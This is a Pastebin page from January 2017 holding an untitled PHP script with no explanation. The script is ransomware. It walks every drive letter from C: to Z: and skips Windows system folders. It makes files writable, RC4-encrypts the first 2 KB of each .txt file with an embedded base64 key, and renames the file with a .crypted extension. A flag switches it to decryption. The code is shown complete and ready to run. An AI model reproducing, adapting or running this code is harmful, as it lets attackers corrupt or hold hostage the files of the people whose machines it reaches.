Advertisement
travisbgreen

Untitled

Jan 13th, 2017
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.73 KB | None | 0 0
  1. set_time_limit(0);
  2. ini_set("display_errors", "Off");
  3. for ($i = 67; $i <= 90; $i++)
  4.     if (is_dir(chr($i).
  5.             ":")) Tree(chr($i).
  6.         ":");
  7.  
  8. function Tree($p) {
  9.     $s = chr(92);
  10.     $key = base64_decode("MWKTiMwQmcz/3BNKuBBoZMowFGCswDiwjfJX8le8nPBECF60ywI5nN4gRbAbkAmCpuwyVK4IFUyDuA5kTab/Xss4eMAIgNAg10a19Fa4f+xZtB+KSpzumAyAHIDkwCaMyzahjPJY");
  11. /* key:
  12. 31 62 93 88 cc 10 99 cc ff dc 13 4a b8 10 68 64 ca 30 14 60 ac c0 38 b0 8d f2 57 f2 57 bc 9c f0 44 08 5e b4 cb 02 39 9c de 20 45 b0 1b 90 09 82 a6 ec 32 54 ae 08 15 4c 83 b8 0e 64 4d a6 ff 5e cb 38 78 c0 08 80 d0 20 d7 46 b5 f4 56 b8 7f ec 59 b4 1f 8a 4a 9c ee 98 0c 80 1c 80 e4 c0 26 8c cb 36 a1 8c f2 58
  13. */
  14.  
  15.     $a = "e";
  16.     if (preg_match("/".$s.$s.
  17.             "(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i", $p) || preg_match("/recycle/i", $p)) return;
  18.     $dp = opendir($p);
  19.     if ($dp === false) return;
  20.     while ($o = readdir($dp))
  21.         if ($o != "." && $o != "..") {
  22.             if (!is_writable($p.$s.$o)) chmod($p.$s.$o, 0777);
  23.             if (is_dir($p.$s.$o)) {
  24.                 Tree($p.$s.$o);
  25.             }
  26.             elseif($a == "e" && preg_match("/[.](txt)$/i", $o) || $a == "d" && preg_match("/[.](crypted)$/i", $o)) {
  27.                 $file = fopen($p.$s.$o, "r+");
  28.                 if ($file !== false) {
  29.                     $first2k = fread($file, 2048);
  30.                     $z = array();
  31.                     for ($i = 0; $i < 256; $i++) $z[$i] = $i;
  32.                     $j = 0;
  33.             // encoding routine:
  34.                     for ($i = 0; $i < 256; $i++) {
  35.                         $j = ($j + $z[$i] + ord($key[$i % strlen($key)])) % 256;
  36.                         $x = $z[$i];
  37.                         $z[$i] = $z[$j];
  38.                         $z[$j] = $x;
  39.                     }
  40.            
  41.                     $i = 0;
  42.                     $j = 0;
  43.                     $c = "";
  44.                     for ($y = 0; $y < strlen($first2k); $y++) {
  45.                         $i = ($i + 1) % 256;
  46.                         $j = ($j + $z[$i]) % 256;
  47.                         $x = $z[$i];
  48.                         $z[$i] = $z[$j];
  49.                         $z[$j] = $x;
  50.                         $c. = $first2k[$y] ^ chr($z[($z[$i] + $z[$j]) % 256]);
  51.                     }
  52.                     fseek($file, 0);
  53.                     fwrite($file, $c);
  54.                     fclose($file);
  55.                     if ($a == "e") {
  56.                         rename($p.$s.$o, $p.$s.$o.
  57.                             ".crypted");
  58.                     } else {
  59.                         rename($p.$s.$o, preg_replace("/[.]crypted$/", "", $p.$s.$o));
  60.                     }
  61.                 }
  62.             }
  63.         }
  64.     closedir($dp);
  65. }
  66. '
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement